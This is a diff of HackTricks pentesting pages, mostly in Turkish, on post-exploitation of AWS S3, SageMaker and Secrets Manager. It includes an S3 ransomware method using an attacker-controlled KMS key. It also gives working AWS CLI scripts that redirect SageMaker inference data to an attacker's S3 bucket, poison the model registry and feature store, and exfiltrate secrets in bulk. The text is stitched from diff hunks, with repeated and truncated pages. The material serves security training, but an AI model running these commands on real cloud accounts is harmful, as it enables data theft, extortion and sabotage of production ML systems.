### S3 Fidye Yazılımı
|
||||
|
||||
Bu senaryoda, **saldırgan kendi AWS hesabında veya başka bir ele geçirilmiş hesapta bir KMS (Anahtar Yönetim Servisi) anahtarı oluşturur**. Daha sonra bu **anahtarı dünyanın her yerinden erişilebilir hale getirir**, böylece herhangi bir AWS kullanıcısı, rolü veya hesabı bu anahtarı kullanarak nesneleri şifreleyebilir. Ancak, nesneler çözülemez.
|
||||
|
||||
Saldırgan, bir hedef **S3 kovasını belirler ve buna yazma düzeyinde erişim kazanır**. Bu, kamuya açık bir şekilde maruz kalan kötü yapılandırılmış bir kova veya saldırganın AWS ortamına erişim kazanması nedeniyle olabilir. Saldırgan genellikle kişisel olarak tanımlanabilir bilgiler (PII), korunan sağlık bilgileri (PHI), günlükler, yedekler ve daha fazlasını içeren hassas bilgiler barındıran kovaları hedef alır.
|
||||
|
||||
Kovanın fidye yazılımı için hedeflenip hedeflenemeyeceğini belirlemek için, saldırgan yapılandırmasını kontrol eder. Bu, **S3 Nesne Sürümleme** özelliğinin etkin olup olmadığını ve **çok faktörlü kimlik doğrulama silme (MFA silme) özelliğinin etkin olup olmadığını** doğrulamayı içerir. Nesne Sürümleme etkin değilse, saldırgan devam edebilir. Nesne Sürümleme etkin ancak MFA silme devre dışıysa, saldırgan **Nesne Sürümlemeyi devre dışı bırakabilir**. Hem Nesne Sürümleme hem de MFA silme etkinse, saldırganın o belirli kovayı fidye yazılımı ile hedef alması daha zor hale gelir.
|
||||
|
||||
AWS API'sini kullanarak, saldırgan **kovadaki her nesneyi kendi KMS anahtarını kullanarak şifrelenmiş bir kopya ile değiştirir**. Bu, kovadaki verileri etkili bir şekilde şifreler ve anahtar olmadan erişilemez hale getirir.
|
||||
|
||||
Daha fazla baskı eklemek için, saldırgan saldırıda kullanılan KMS anahtarının silinmesini planlar. Bu, hedefe anahtar silinmeden önce verilerini kurtarması için 7 günlük bir süre tanır ve veriler kalıcı olarak kaybolur.
|
||||
|
||||
Son olarak, saldırgan genellikle "ransom-note.txt" olarak adlandırılan son bir dosya yükleyebilir; bu dosya, hedefe dosyalarını nasıl geri alacağına dair talimatlar içerir. Bu dosya, muhtemelen hedefin dikkatini çekmek ve fidye yazılımı saldırısından haberdar etmek için şifrelenmeden yüklenir.
|
||||
|
||||
**Daha fazla bilgi için** [**orijinal araştırmayı kontrol edin**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
|
||||
Bazen buckets içinde okunabilir halde hassas bilgiler bulabilirsiniz. Örneğin, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Farklı platformlar hassas varlıkları depolamak için S3 kullanıyor olabilir.\
|
||||
Örneğin, **airflow** orada **DAGs** **code** depoluyor olabilir ya da **web pages** doğrudan S3’ten servis ediliyor olabilir. Yazma izni olan bir saldırgan, bucket’taki **modify the code** ile diğer platformlara **pivot** yapabilir veya JS dosyalarını değiştirerek **takeover accounts** gerçekleştirebilir.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
|
||||
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
|
||||
|
||||
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
|
||||
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
|
||||
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
|
||||
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
SageMaker endpoint yönetimini kötüye kullanarak model veya container'a dokunmadan tüm request/response kayıtlarını saldırgan kontrollü bir S3 bucket'ına yönlendirin. Sıfır/düşük kesintiyle bir rolling update kullanır ve yalnızca endpoint yönetimi izinleri gerektirir.
|
||||
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (veya aynı hesapta mevcut bir bucket kullanın)
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: Aynı hesap/bölgede var olan InService durumundaki gerçek zamanlı bir endpoint
|
||||
|
||||
### Steps
|
||||
1) InService durumundaki bir endpoint'i belirleyin ve mevcut production variants'i toplayın
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) captures için attacker S3 destination'ı hazırlayın
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Aynı varyantları koruyan ancak DataCapture'ı attacker bucket'a etkinleştiren yeni bir EndpointConfig oluşturun
|
||||
|
||||
Not: CLI doğrulamasını karşılayan açık içerik türleri kullanın.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Yeni yapılandırmayı kademeli güncelleme (rolling update) ile uygula (asgari/hiç kesintiyle)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) En az bir çıkarım isteği oluşturun (canlı trafik varsa isteğe bağlı)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Saldırganın S3'ündeki yakalamaları doğrulayın
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Etki
|
||||
- Hedef endpoint'ten attacker‑controlled S3 bucket'a gerçek‑zamanlı inference istek ve yanıt payload'larının (ve metadata'nın) tam exfiltration'ı.
|
||||
- model/container image üzerinde hiçbir değişiklik yok ve yalnızca endpoint‑level değişiklikler, minimal operasyonel aksama ile stealthy data theft path sağlar.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Mevcut EndpointConfig'i klonlayıp AsyncInferenceConfig.OutputConfig içindeki S3OutputPath/S3FailurePath'i ayarlayarak endpoint yönetimini suistimal edin ve asenkron inference çıktılarının attacker‑controlled S3 bucket'a yönlendirilmesini sağlayın. Bu, model/container'ı değiştirmeden model predictions (ve container tarafından dahil edilen herhangi bir dönüşmüş input) exfiltrate eder.
|
||||
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: model execution role veya izinli bir bucket policy aracılığıyla attacker S3 bucket'a yazma yeteneği
|
||||
- Target: Asenkron invokasyonların kullanıldığı (veya kullanılacak) bir InService endpoint
|
||||
|
||||
### Steps
|
||||
1) Hedef endpoint'ten mevcut ProductionVariants'i toplayın
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker bucket oluşturun (model execution role'un ona PutObject yapabildiğinden emin olun)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) EndpointConfig'i klonlayın ve AsyncInference çıktıları saldırgan bucket'ına yönlendirin.
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Bir async invocation tetikleyin ve nesnelerin attacker S3'te olduğunu doğrulayın
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Etki
|
||||
- Asenkron çıkarım sonuçlarını (ve hata gövdelerini) saldırgan kontrolündeki S3'e yönlendirir; bu, model kodu veya image'ı değiştirmeden ve minimum/hiç kesinti olmadan, konteyner tarafından üretilen tahminlerin ve muhtemelen hassas ön/son işlem görmüş girdilerin örtülü olarak sızdırılmasını sağlar.
|
||||
|
||||
|
||||
## SageMaker Model Registry tedarik zinciri enjeksiyonu aracılığıyla CreateModelPackage(Approved)
|
||||
|
||||
Eğer bir saldırgan hedef SageMaker Model Package Group üzerinde CreateModelPackage yapabiliyorsa, saldırgan kontrolündeki bir container image'ına işaret eden yeni bir model sürümünü kaydedebilir ve bunu hemen Approved olarak işaretleyebilir. Birçok CI/CD pipeline'ı Approved model sürümlerini otomatik olarak endpoints veya training jobs'a dağıtır; bu da servisin execution roles altında saldırgan kodunun çalıştırılmasına yol açar. Hesaplar arası maruziyet, permissive ModelPackageGroup resource policy ile daha da artabilir.
|
||||
|
||||
### Gereksinimler
|
||||
- IAM (var olan bir grubu zehirlemek için minimum): hedef ModelPackageGroup üzerinde `sagemaker:CreateModelPackage`
|
||||
- Opsiyonel (grup yoksa oluşturmak için): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Referans verilen ModelDataUrl için okuma erişimi (veya saldırgan kontrolündeki artefaktları barındırma)
|
||||
- Hedef: Aşağı yönlü otomasyonun Approved sürümleri izlediği bir Model Package Group
|
||||
|
||||
### Adımlar
|
||||
1) Bölgeyi (region) ayarlayın ve hedef bir Model Package Group oluşturun/veya bulun
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) S3'te örnek model verisini hazırla
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Genel kullanıma açık bir AWS DLC imajına referans veren kötü amaçlı (burada zararsız) Approved model package version kaydetme
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
{
|
||||
"Containers": [
|
||||
{
|
||||
"Image": "$IMG",
|
||||
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
|
||||
}
|
||||
],
|
||||
"SupportedContentTypes": ["text/csv"],
|
||||
"SupportedResponseMIMETypes": ["text/csv"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Yeni Approved sürümün mevcut olduğunu doğrulayın
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Etki
|
||||
- Model Registry'yi, saldırgan tarafından kontrol edilen koda referans veren bir Approved sürümü ile zehirleyin. Approved modelleri otomatik dağıtan Pipelines, saldırgan imajını çekip çalıştırabilir ve böylece endpoint/training rollerinde kod yürütülmesine yol açabilir.
|
||||
- İzin verici bir ModelPackageGroup kaynak politikası (PutModelPackageGroupPolicy) varsa, bu suistimal hesaplar arası tetiklenebilir.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Online inference tarafından tüketilen canlı feature değerlerini üzerine yazmak için OnlineStore etkin bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanın. `sagemaker:GetRecord` ile birleştirildiğinde, saldırgan hassas feature'ları okuyabilir. Bunun için modellere veya endpoints erişimine gerek yoktur.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
`sagemaker:PutRecord`'ı OnlineStore etkin olan bir Feature Group üzerinde kötüye kullanarak, online inference tarafından tüketilen canlı özellik değerlerinin üzerine yazın. `sagemaker:GetRecord` ile birleştirildiğinde, bir saldırgan hassas özellikleri okuyabilir. Bunun için model veya endpoint erişimine gerek yoktur.
|
||||
|
||||
## Gereksinimler
|
||||
- İzinler: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Hedef: OnlineStore etkin bir Feature Group (genellikle gerçek zamanlı çıkarımı destekler)
|
||||
|
||||
## Adımlar
|
||||
1) Test için küçük bir Online Feature Group seçin veya oluşturun
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) Çevrimiçi bir kayıt ekle/üzerine yaz (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) Manipülasyonu doğrulamak için kaydı geri okuyun
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
Beklenen: risk_score 0.99 döner (attacker-set), modeller tarafından tüketilen online özellikleri değiştirme kabiliyetini kanıtlar.
|
||||
|
||||
## Etki
|
||||
- Real-time integrity attack: üretim modelleri tarafından kullanılan özellikleri endpoints/models'a dokunmadan manipüle etme.
|
||||
- Gizlilik riski: OnlineStore'dan GetRecord aracılığıyla hassas özellikleri okuma.
|
||||
-130
@@ -1,130 +0,0 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Secrets Okuma
|
||||
|
||||
**secrets kendileri hassas bilgilerdir**, nasıl okunacağını öğrenmek için [privesc sayfasına bakın](../aws-privilege-escalation/aws-secrets-manager-privesc.md).
|
||||
|
||||
### DoS Secret Değerini Değiştirme
|
||||
|
||||
secret'in değerini değiştirerek, o değere bağımlı tüm sistemleri **DoS edebilirsiniz.**
|
||||
|
||||
> [!WARNING]
|
||||
> Önceki değerlerin de saklandığını unutmayın, bu yüzden önceki değere kolayca geri dönebilirsiniz.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Eğer saldırganın secretsmanager:UpdateSecret izni varsa, secret'ı saldırgana ait bir KMS key kullanacak şekilde yapılandırabilir. O key başlangıçta herkesin erişip kullanabileceği şekilde ayarlandığı için, secret'ı yeni key ile güncellemek mümkün olur. Key erişilebilir olmasaydı, secret güncellenemezdi.
|
||||
|
||||
Secret için key değiştirildikten sonra saldırgan, key'inin yapılandırmasını yalnızca kendisinin erişebileceği şekilde değiştirir. Böylece, secret'ın sonraki sürümleri yeni key ile şifrelenir ve bu key'e erişim olmadığından secret'ı almak imkânsız hale gelir.
|
||||
|
||||
Bu erişilemezliğin yalnızca secret içeriği değiştikten sonraki sürümlerde meydana geleceğini not etmek önemlidir; çünkü mevcut sürüm hâlâ orijinal KMS key ile şifrelenmiş durumdadır.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Secret'i Silme
|
||||
|
||||
Bir secret'i silmek için gereken minimum gün sayısı 7'dir.
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Bir secret'i geri yüklemek mümkündür; bu, silinmek üzere planlanmış secret'lerin geri yüklenmesine olanak tanır; çünkü secret'ler için minimum silme süresi 7 gün, maksimum ise 30 gündür. secretsmanager:GetSecretValue izniyle birlikte bunların içeriğini almak mümkün olur.
|
||||
|
||||
Silinme sürecinde olan bir secret'i kurtarmak için aşağıdaki komutu kullanabilirsiniz:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Bu işlem, bir secret'e kimlerin erişebileceğini kontrol eden resource policy'yi silmeye izin verir. Resource policy belirli bir kullanıcı grubuna erişim verecek şekilde yapılandırıldıysa bu DoS'ye yol açabilir.
|
||||
|
||||
Resource policy'yi silmek için:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Bir secret'in durumları, secret sürümlerini yönetmek için kullanılır. AWSCURRENT uygulamaların kullandığı aktif sürümü işaret eder, AWSPREVIOUS gerektiğinde geri alabilmeniz için önceki sürümü tutar ve AWSPENDING yeni bir sürümü mevcut hale getirmeden önce hazırlamak ve doğrulamak için rotasyon sürecinde kullanılır.
|
||||
|
||||
Uygulamalar her zaman AWSCURRENT etiketi olan sürümü okur. Birisi bu etiketi yanlış bir sürüme taşırsa, uygulamalar geçersiz kimlik bilgilerini kullanır ve başarısız olabilir.
|
||||
|
||||
AWSPREVIOUS otomatik olarak kullanılmaz. Ancak AWSCURRENT kaldırılır veya yanlış atanırsa, her şeyin hâlâ önceki sürümle çalışıyor gibi görünebilir.
|
||||
```bash
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id <your-secret-name-or-arn> \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id <target-version-id> \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### BatchGetSecretValue ile Toplu Secret Exfiltration (her çağrıda en fazla 20)
|
||||
|
||||
Secrets Manager BatchGetSecretValue API'sini kötüye kullanarak tek bir istekte en fazla 20 secret alabilirsiniz. Bu, her secret için GetSecretValue çağrısı yapmaya kıyasla API çağrısı hacmini önemli ölçüde azaltabilir. Eğer filtreler (tags/name) kullanılıyorsa, ListSecrets izni de gereklidir. CloudTrail yine de toplu olarak alınan her secret için bir GetSecretValue olayı kaydeder.
|
||||
|
||||
Gerekli izinler
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets if using --filters
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
|
||||
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate filtrelerle (tag key/value or name prefix)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Kısmi başarısızlıkların ele alınması
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Etkisi
|
||||
- Daha az API çağrısıyla birçok sırrın hızlı “smash-and-grab” ile ele geçirilmesi, GetSecretValue artışlarına göre ayarlanmış uyarıları potansiyel olarak atlatabilir.
|
||||
- CloudTrail günlükleri hâlâ toplu işlemle alınan her sır için bir GetSecretValue olayı içerir.
|
||||
+130
@@ -0,0 +1,130 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Secrets Okuma
|
||||
|
||||
The **Secrets kendileri hassas bilgilerdir**, nasıl okunacağını öğrenmek için [privesc sayfasına bakın](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md).
|
||||
|
||||
### DoS: Secret Değerini Değiştirme
|
||||
|
||||
Secret'in değerini değiştirerek, **o değere bağımlı tüm sistemleri DoS edebilirsiniz.**
|
||||
|
||||
> [!WARNING]
|
||||
> Önceki değerlerin de saklandığını unutmayın, bu yüzden önceki değere geri dönmek kolaydır.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Eğer saldırganın secretsmanager:UpdateSecret izni varsa, secret'i saldırganın sahip olduğu bir KMS key kullanacak şekilde yapılandırabilir. Bu anahtar başlangıçta herkesin erişip kullanabilmesi için ayarlanmıştır, bu yüzden secret'i yeni anahtar ile güncellemek mümkündür. Anahtara erişilemiyor olsaydı, secret güncellenemezdi.
|
||||
|
||||
Secret için anahtarı değiştirdikten sonra saldırgan, anahtarın yapılandırmasını yalnızca kendisinin erişebileceği şekilde değiştirir. Böylece secret'in sonraki versiyonları yeni anahtarla şifrelenecek ve anahtara erişim olmadığından secret'i almak imkânsız hale gelir.
|
||||
|
||||
Önemli bir nokta: erişilemezlik yalnızca secret içeriği değiştikten sonra, yani sonraki versiyonlarda meydana gelir; çünkü mevcut versiyon hala orijinal KMS key ile şifrelenmiştir.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Secret Silme
|
||||
|
||||
Bir secret'i silmek için gereken minimum gün sayısı 7'dir
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--recovery-window-in-days 7
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Bir secret'i geri yüklemek mümkündür; bu, silinmek üzere planlanmış secret'lerin geri yüklenmesine olanak tanır, çünkü secret'ler için minimum silme süresi 7 gün ve maksimum 30 gündür. secretsmanager:GetSecretValue izni ile birlikte, bunların içeriklerini almayı mümkün kılar.
|
||||
|
||||
Silinme sürecinde olan bir secret'i kurtarmak için aşağıdaki komutu kullanabilirsiniz:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
